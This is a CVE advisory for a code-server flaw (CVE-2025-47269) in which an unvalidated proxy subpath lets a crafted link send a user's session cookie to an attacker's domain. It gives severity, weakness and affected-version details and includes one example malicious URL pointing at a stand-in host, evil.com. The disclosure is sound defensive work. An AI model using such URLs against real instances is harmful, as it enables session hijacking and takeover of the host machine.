CVE-2025-47269

code-server session cookie can be extracted by having user visit specially crafted proxy URL

State
Published
Severity
8.3 High
Published
May 9, 2025
Updated
May 10, 2025
Reserved
May 5, 2025

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Description

code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.

Scores

CVSSScoreVectorSource
3.18.3 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:LGitHub_M

Weaknesses

  • CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')

Affected Products

ProductVersions
code-servercoder
  • < 4.99.4Affected

References

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